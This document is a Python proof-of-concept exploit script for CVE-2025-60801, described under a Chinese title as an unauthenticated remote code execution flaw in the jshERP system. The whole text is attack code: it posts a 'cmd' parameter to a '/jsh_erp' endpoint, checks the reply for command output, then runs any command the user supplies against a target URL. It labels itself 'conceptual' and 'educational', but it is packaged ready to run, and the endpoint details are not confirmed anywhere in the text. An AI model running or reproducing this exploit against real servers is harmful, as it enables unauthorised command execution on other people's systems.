CVE-2025-60801 jshERP未授权远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2025-60801 PoC - jshERP Unauthenticated RCE via jsh_erp function Note: This is a conceptual PoC for educational and security testing purposes only. """ import requests import sys def check_vulnerability(target_url): """ Check if the target jshERP instance is vulnerable to CVE-2025-60801 """ # Target endpoint for jsh_erp function endpoint = f"{target_url.rstrip('/')}/jsh_erp" # Test with a simple command injection (id command) # This tests if the jsh_erp function is vulnerable test_payload = { 'cmd': 'id' # Simple command to test RCE } try: # Send request without authentication response = requests.post(endpoint, data=test_payload, timeout=10) # Check if command was executed if 'uid=' in response.text or 'root' in response.text: return True return False except requests.RequestException as e: print(f"Error: {e}") return False def exploit_rce(target_url, command): """ Exploit CVE-2025-60801 to execute arbitrary commands """ endpoint = f"{target_url.rstrip('/')}/jsh_erp" # Payload with command injection payload = { 'cmd': command } try: response = requests.post(endpoint, data=payload, timeout=10) return response.text except requests.RequestException as e: return f"Error: {e}" if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2025-60801.py <target_url> [command]") print("Example: python3 cve-2025-60801.py http://target.com id") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] if len(sys.argv) > 2 else 'whoami' print(f"[*] Testing CVE-2025-60801 on {target}") if check_vulnerability(target): print("[+] Target appears to be vulnerable!") print(f"[*] Executing command: {cmd}") result = exploit_rce(target, cmd) print(f"[+] Result:\n{result}") else: print("[-] Target does not appear to be vulnerable or is not reachable")